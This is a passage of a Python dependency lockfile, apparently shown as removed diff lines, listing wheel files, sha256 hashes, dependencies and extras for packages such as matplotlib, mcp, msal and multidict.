"MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, - {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, - {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, - {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, -] - -[[package]] -name = "matplotlib" -version = "3.10.5" -description = "Python plotting package" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "matplotlib-3.10.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:5d4773a6d1c106ca05cb5a5515d277a6bb96ed09e5c8fab6b7741b8fcaa62c8f"}, - {file = "matplotlib-3.10.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dc88af74e7ba27de6cbe6faee916024ea35d895ed3d61ef6f58c4ce97da7185a"}, - {file = "matplotlib-3.10.5-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:64c4535419d5617f7363dad171a5a59963308e0f3f813c4bed6c9e6e2c131512"}, - {file = "matplotlib-3.10.5-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a277033048ab22d34f88a3c5243938cef776493f6201a8742ed5f8b553201343"}, - {file = "matplotlib-3.10.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e4a6470a118a2e93022ecc7d3bd16b3114b2004ea2bf014fff875b3bc99b70c6"}, - {file = "matplotlib-3.10.5-cp310-cp310-win_amd64.whl", hash = "sha256:7e44cada61bec8833c106547786814dd4a266c1b2964fd25daa3804f1b8d4467"}, - {file = "matplotlib-3.10.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:dcfc39c452c6a9f9028d3e44d2d721484f665304857188124b505b2c95e1eecf"}, - {file = "matplotlib-3.10.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:903352681b59f3efbf4546985142a9686ea1d616bb054b09a537a06e4b892ccf"}, - {file = "matplotlib-3.10.5-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:080c3676a56b8ee1c762bcf8fca3fe709daa1ee23e6ef06ad9f3fc17332f2d2a"}, - {file = "matplotlib-3.10.5-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4b4984d5064a35b6f66d2c11d668565f4389b1119cc64db7a4c1725bc11adffc"}, - {file = "matplotlib-3.10.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3967424121d3a46705c9fa9bdb0931de3228f13f73d7bb03c999c88343a89d89"}, - {file = "matplotlib-3.10.5-cp311-cp311-win_amd64.whl", hash = "sha256:33775bbeb75528555a15ac29396940128ef5613cf9a2d31fb1bfd18b3c0c0903"}, - {file = "matplotlib-3.10.5-cp311-cp311-win_arm64.whl", hash = "sha256:c61333a8e5e6240e73769d5826b9a31d8b22df76c0778f8480baf1b4b01c9420"}, - {file = "matplotlib-3.10.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:00b6feadc28a08bd3c65b2894f56cf3c94fc8f7adcbc6ab4516ae1e8ed8f62e2"}, - {file = "matplotlib-3.10.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ee98a5c5344dc7f48dc261b6ba5d9900c008fc12beb3fa6ebda81273602cc389"}, - {file = "matplotlib-3.10.5-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a17e57e33de901d221a07af32c08870ed4528db0b6059dce7d7e65c1122d4bea"}, - {file = "matplotlib-3.10.5-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97b9d6443419085950ee4a5b1ee08c363e5c43d7176e55513479e53669e88468"}, - {file = "matplotlib-3.10.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ceefe5d40807d29a66ae916c6a3915d60ef9f028ce1927b84e727be91d884369"}, - {file = "matplotlib-3.10.5-cp312-cp312-win_amd64.whl", hash = "sha256:c04cba0f93d40e45b3c187c6c52c17f24535b27d545f757a2fffebc06c12b98b"}, - {file = "matplotlib-3.10.5-cp312-cp312-win_arm64.whl", hash = "sha256:a41bcb6e2c8e79dc99c5511ae6f7787d2fb52efd3d805fff06d5d4f667db16b2"}, - {file = "matplotlib-3.10.5-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:354204db3f7d5caaa10e5de74549ef6a05a4550fdd1c8f831ab9bca81efd39ed"}, - {file = "matplotlib-3.10.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b072aac0c3ad563a2b3318124756cb6112157017f7431626600ecbe890df57a1"}, - {file = "matplotlib-3.10.5-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d52fd5b684d541b5a51fb276b2b97b010c75bee9aa392f96b4a07aeb491e33c7"}, - {file = "matplotlib-3.10.5-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee7a09ae2f4676276f5a65bd9f2bd91b4f9fbaedf49f40267ce3f9b448de501f"}, - {file = "matplotlib-3.10.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ba6c3c9c067b83481d647af88b4e441d532acdb5ef22178a14935b0b881188f4"}, - {file = "matplotlib-3.10.5-cp313-cp313-win_amd64.whl", hash = "sha256:07442d2692c9bd1cceaa4afb4bbe5b57b98a7599de4dabfcca92d3eea70f9ebe"}, - {file = "matplotlib-3.10.5-cp313-cp313-win_arm64.whl", hash = "sha256:48fe6d47380b68a37ccfcc94f009530e84d41f71f5dae7eda7c4a5a84aa0a674"}, - {file = "matplotlib-3.10.5-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:3b80eb8621331449fc519541a7461987f10afa4f9cfd91afcd2276ebe19bd56c"}, - {file = "matplotlib-3.10.5-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:47a388908e469d6ca2a6015858fa924e0e8a2345a37125948d8e93a91c47933e"}, - {file = "matplotlib-3.10.5-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8b6b49167d208358983ce26e43aa4196073b4702858670f2eb111f9a10652b4b"}, - {file = "matplotlib-3.10.5-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a8da0453a7fd8e3da114234ba70c5ba9ef0e98f190309ddfde0f089accd46ea"}, - {file = "matplotlib-3.10.5-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:52c6573dfcb7726a9907b482cd5b92e6b5499b284ffacb04ffbfe06b3e568124"}, - {file = "matplotlib-3.10.5-cp313-cp313t-win_amd64.whl", hash = "sha256:a23193db2e9d64ece69cac0c8231849db7dd77ce59c7b89948cf9d0ce655a3ce"}, - {file = "matplotlib-3.10.5-cp313-cp313t-win_arm64.whl", hash = "sha256:56da3b102cf6da2776fef3e71cd96fcf22103a13594a18ac9a9b31314e0be154"}, - {file = "matplotlib-3.10.5-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:96ef8f5a3696f20f55597ffa91c28e2e73088df25c555f8d4754931515512715"}, - {file = "matplotlib-3.10.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:77fab633e94b9da60512d4fa0213daeb76d5a7b05156840c4fd0399b4b818837"}, - {file = "matplotlib-3.10.5-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:27f52634315e96b1debbfdc5c416592edcd9c4221bc2f520fd39c33db5d9f202"}, - {file = "matplotlib-3.10.5-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:525f6e28c485c769d1f07935b660c864de41c37fd716bfa64158ea646f7084bb"}, - {file = "matplotlib-3.10.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:1f5f3ec4c191253c5f2b7c07096a142c6a1c024d9f738247bfc8e3f9643fc975"}, - {file = "matplotlib-3.10.5-cp314-cp314-win_amd64.whl", hash = "sha256:707f9c292c4cd4716f19ab8a1f93f26598222cd931e0cd98fbbb1c5994bf7667"}, - {file = "matplotlib-3.10.5-cp314-cp314-win_arm64.whl", hash = "sha256:21a95b9bf408178d372814de7baacd61c712a62cae560b5e6f35d791776f6516"}, - {file = "matplotlib-3.10.5-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:a6b310f95e1102a8c7c817ef17b60ee5d1851b8c71b63d9286b66b177963039e"}, - {file = "matplotlib-3.10.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:94986a242747a0605cb3ff1cb98691c736f28a59f8ffe5175acaeb7397c49a5a"}, - {file = "matplotlib-3.10.5-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ff10ea43288f0c8bab608a305dc6c918cc729d429c31dcbbecde3b9f4d5b569"}, - {file = "matplotlib-3.10.5-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f6adb644c9d040ffb0d3434e440490a66cf73dbfa118a6f79cd7568431f7a012"}, - {file = "matplotlib-3.10.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:4fa40a8f98428f789a9dcacd625f59b7bc4e3ef6c8c7c80187a7a709475cf592"}, - {file = "matplotlib-3.10.5-cp314-cp314t-win_amd64.whl", hash = "sha256:95672a5d628b44207aab91ec20bf59c26da99de12b88f7e0b1fb0a84a86ff959"}, - {file = "matplotlib-3.10.5-cp314-cp314t-win_arm64.whl", hash = "sha256:2efaf97d72629e74252e0b5e3c46813e9eeaa94e011ecf8084a971a31a97f40b"}, - {file = "matplotlib-3.10.5-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:b5fa2e941f77eb579005fb804026f9d0a1082276118d01cc6051d0d9626eaa7f"}, - {file = "matplotlib-3.10.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1fc0d2a3241cdcb9daaca279204a3351ce9df3c0e7e621c7e04ec28aaacaca30"}, - {file = "matplotlib-3.10.5-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8dee65cb1424b7dc982fe87895b5613d4e691cc57117e8af840da0148ca6c1d7"}, - {file = "matplotlib-3.10.5-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:160e125da27a749481eaddc0627962990f6029811dbeae23881833a011a0907f"}, - {file = "matplotlib-3.10.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ac3d50760394d78a3c9be6b28318fe22b494c4fcf6407e8fd4794b538251899b"}, - {file = "matplotlib-3.10.5-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:6c49465bf689c4d59d174d0c7795fb42a21d4244d11d70e52b8011987367ac61"}, - {file = "matplotlib-3.10.5.tar.gz", hash = "sha256:352ed6ccfb7998a00881692f38b4ca083c691d3e275b4145423704c34c909076"}, -] - -[package.dependencies] -contourpy = ">=1.0.1" -cycler = ">=0.10" -fonttools = ">=4.22.0" -kiwisolver = ">=1.3.1" -numpy = ">=1.23" -packaging = ">=20.0" -pillow = ">=8" -pyparsing = ">=2.3.1" -python-dateutil = ">=2.7" - -[package.extras] -dev = ["meson-python (>=0.13.1,<0.17.0)", "pybind11 (>=2.13.2,!=2.13.3)", "setuptools (>=64)", "setuptools_scm (>=7)"] - -[[package]] -name = "matplotlib-inline" -version = "0.1.7" -description = "Inline Matplotlib backend for Jupyter" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "matplotlib_inline-0.1.7-py3-none-any.whl", hash = "sha256:df192d39a4ff8f21b1895d72e6a13f5fcc5099f00fa84384e0ea28c2cc0653ca"}, - {file = "matplotlib_inline-0.1.7.tar.gz", hash = "sha256:8423b23ec666be3d16e16b60bdd8ac4e86e840ebd1dd11a30b9f117f2fa0ab90"}, -] - -[package.dependencies] -traitlets = "*" - -[[package]] -name = "mccabe" -version = "0.7.0" -description = "McCabe checker, plugin for flake8" -optional = false -python-versions = ">=3.6" -groups = ["main", "dev"] -files = [ - {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, - {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, -] - -[[package]] -name = "mcp" -version = "1.12.4" -description = "Model Context Protocol SDK" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "mcp-1.12.4-py3-none-any.whl", hash = "sha256:7aa884648969fab8e78b89399d59a683202972e12e6bc9a1c88ce7eda7743789"}, - {file = "mcp-1.12.4.tar.gz", hash = "sha256:0765585e9a3a5916a3c3ab8659330e493adc7bd8b2ca6120c2d7a0c43e034ca5"}, -] - -[package.dependencies] -anyio = ">=4.5" -httpx = ">=0.27" -httpx-sse = ">=0.4" -jsonschema = ">=4.20.0" -pydantic = ">=2.8.0,<3.0.0" -pydantic-settings = ">=2.5.2" -python-multipart = ">=0.0.9" -pywin32 = {version = ">=310", markers = "sys_platform == \"win32\""} -sse-starlette = ">=1.6.1" -starlette = ">=0.27" -uvicorn = {version = ">=0.23.1", markers = "sys_platform != \"emscripten\""} - -[package.extras] -cli = ["python-dotenv (>=1.0.0)", "typer (>=0.16.0)"] -rich = ["rich (>=13.9.4)"] -ws = ["websockets (>=15.0.1)"] - -[[package]] -name = "mdit-py-plugins" -version = "0.5.0" -description = "Collection of plugins for markdown-it-py" -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "mdit_py_plugins-0.5.0-py3-none-any.whl", hash = "sha256:07a08422fc1936a5d26d146759e9155ea466e842f5ab2f7d2266dd084c8dab1f"}, - {file = "mdit_py_plugins-0.5.0.tar.gz", hash = "sha256:f4918cb50119f50446560513a8e311d574ff6aaed72606ddae6d35716fe809c6"}, -] - -[package.dependencies] -markdown-it-py = ">=2.0.0,<5.0.0" - -[package.extras] -code-style = ["pre-commit"] -rtd = ["myst-parser", "sphinx-book-theme"] -testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] - -[[package]] -name = "mdurl" -version = "0.1.2" -description = "Markdown URL utilities" -optional = false -python-versions = ">=3.7" -groups = ["main", "dev"] -files = [ - {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, - {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, -] - -[[package]] -name = "msal" -version = "1.33.0" -description = "The Microsoft Authentication Library (MSAL) for Python library enables your app to access the Microsoft Cloud by supporting authentication of users with Microsoft Azure Active Directory accounts (AAD) and Microsoft Accounts (MSA) using industry standard OAuth2 and OpenID Connect." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "msal-1.33.0-py3-none-any.whl", hash = "sha256:c0cd41cecf8eaed733ee7e3be9e040291eba53b0f262d3ae9c58f38b04244273"}, - {file = "msal-1.33.0.tar.gz", hash = "sha256:836ad80faa3e25a7d71015c990ce61f704a87328b1e73bcbb0623a18cbf17510"}, -] - -[package.dependencies] -cryptography = ">=2.5,<48" -PyJWT = {version = ">=1.0.0,<3", extras = ["crypto"]} -requests = ">=2.0.0,<3" - -[package.extras] -broker = ["pymsalruntime (>=0.14,<0.19)", "pymsalruntime (>=0.17,<0.19)", "pymsalruntime (>=0.18,<0.19)"] - -[[package]] -name = "msal-extensions" -version = "1.3.1" -description = "Microsoft Authentication Library extensions (MSAL EX) provides a persistence API that can save your data on disk, encrypted on Windows, macOS and Linux. Concurrent data access will be coordinated by a file lock mechanism." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "msal_extensions-1.3.1-py3-none-any.whl", hash = "sha256:96d3de4d034504e969ac5e85bae8106c8373b5c6568e4c8fa7af2eca9dbe6bca"}, - {file = "msal_extensions-1.3.1.tar.gz", hash = "sha256:c5b0fd10f65ef62b5f1d62f4251d51cbcaf003fcedae8c91b040a488614be1a4"}, -] - -[package.dependencies] -msal = ">=1.29,<2" - -[package.extras] -portalocker = ["portalocker (>=1.4,<4)"] - -[[package]] -name = "multidict" -version = "6.6.4" -description = "multidict implementation" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "multidict-6.6.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b8aa6f0bd8125ddd04a6593437bad6a7e70f300ff4180a531654aa2ab3f6d58f"}, - {file = "multidict-6.6.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b9e5853bbd7264baca42ffc53391b490d65fe62849bf2c690fa3f6273dbcd0cb"}, - {file = "multidict-6.6.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0af5f9dee472371e36d6ae38bde009bd8ce65ac7335f55dcc240379d7bed1495"}, - {file = "multidict-6.6.4-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:d24f351e4d759f5054b641c81e8291e5d122af0fca5c72454ff77f7cbe492de8"}, - {file = "multidict-6.6.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:db6a3810eec08280a172a6cd541ff4a5f6a97b161d93ec94e6c4018917deb6b7"}, - {file = "multidict-6.6.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a1b20a9d56b2d81e2ff52ecc0670d583eaabaa55f402e8d16dd062373dbbe796"}, - {file = "multidict-6.6.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8c9854df0eaa610a23494c32a6f44a3a550fb398b6b51a56e8c6b9b3689578db"}, - {file = "multidict-6.6.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4bb7627fd7a968f41905a4d6343b0d63244a0623f006e9ed989fa2b78f4438a0"}, - {file = "multidict-6.6.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:caebafea30ed049c57c673d0b36238b1748683be2593965614d7b0e99125c877"}, - {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ad887a8250eb47d3ab083d2f98db7f48098d13d42eb7a3b67d8a5c795f224ace"}, - {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:ed8358ae7d94ffb7c397cecb62cbac9578a83ecefc1eba27b9090ee910e2efb6"}, - {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ecab51ad2462197a4c000b6d5701fc8585b80eecb90583635d7e327b7b6923eb"}, - {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:c5c97aa666cf70e667dfa5af945424ba1329af5dd988a437efeb3a09430389fb"}, - {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:9a950b7cf54099c1209f455ac5970b1ea81410f2af60ed9eb3c3f14f0bfcf987"}, - {file = "multidict-6.6.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:163c7ea522ea9365a8a57832dea7618e6cbdc3cd75f8c627663587459a4e328f"}, - {file = "multidict-6.6.4-cp310-cp310-win32.whl", hash = "sha256:17d2cbbfa6ff20821396b25890f155f40c986f9cfbce5667759696d83504954f"}, - {file = "multidict-6.6.4-cp310-cp310-win_amd64.whl", hash = "sha256:ce9a40fbe52e57e7edf20113a4eaddfacac0561a0879734e636aa6d4bb5e3fb0"}, - {file = "multidict-6.6.4-cp310-cp310-win_arm64.whl", hash = "sha256:01d0959807a451fe9fdd4da3e139cb5b77f7328baf2140feeaf233e1d777b729"}, - {file = "multidict-6.6.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c7a0e9b561e6460484318a7612e725df1145d46b0ef57c6b9866441bf6e27e0c"}, - {file = "multidict-6.6.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6bf2f10f70acc7a2446965ffbc726e5fc0b272c97a90b485857e5c70022213eb"}, - {file = "multidict-6.6.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:66247d72ed62d5dd29752ffc1d3b88f135c6a8de8b5f63b7c14e973ef5bda19e"}, - {file = "multidict-6.6.4-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:105245cc6b76f51e408451a844a54e6823bbd5a490ebfe5bdfc79798511ceded"}, - {file = "multidict-6.6.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cbbc54e58b34c3bae389ef00046be0961f30fef7cb0dd9c7756aee376a4f7683"}, - {file = "multidict-6.6.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:56c6b3652f945c9bc3ac6c8178cd93132b8d82dd581fcbc3a00676c51302bc1a"}, - {file = "multidict-6.6.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b95494daf857602eccf4c18ca33337dd2be705bccdb6dddbfc9d513e6addb9d9"}, - {file = "multidict-6.6.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e5b1413361cef15340ab9dc61523e653d25723e82d488ef7d60a12878227ed50"}, - {file = "multidict-6.6.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e167bf899c3d724f9662ef00b4f7fef87a19c22b2fead198a6f68b263618df52"}, - {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aaea28ba20a9026dfa77f4b80369e51cb767c61e33a2d4043399c67bd95fb7c6"}, - {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:8c91cdb30809a96d9ecf442ec9bc45e8cfaa0f7f8bdf534e082c2443a196727e"}, - {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1a0ccbfe93ca114c5d65a2471d52d8829e56d467c97b0e341cf5ee45410033b3"}, - {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:55624b3f321d84c403cb7d8e6e982f41ae233d85f85db54ba6286f7295dc8a9c"}, - {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:4a1fb393a2c9d202cb766c76208bd7945bc194eba8ac920ce98c6e458f0b524b"}, - {file = "multidict-6.6.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:43868297a5759a845fa3a483fb4392973a95fb1de891605a3728130c52b8f40f"}, - {file = "multidict-6.6.4-cp311-cp311-win32.whl", hash = "sha256:ed3b94c5e362a8a84d69642dbeac615452e8af9b8eb825b7bc9f31a53a1051e2"}, - {file = "multidict-6.6.4-cp311-cp311-win_amd64.whl", hash = "sha256:d8c112f7a90d8ca5d20213aa41eac690bb50a76da153e3afb3886418e61cb22e"}, - {file = "multidict-6.6.4-cp311-cp311-win_arm64.whl", hash = "sha256:3bb0eae408fa1996d87247ca0d6a57b7fc1dcf83e8a5c47ab82c558c250d4adf"}, - {file = 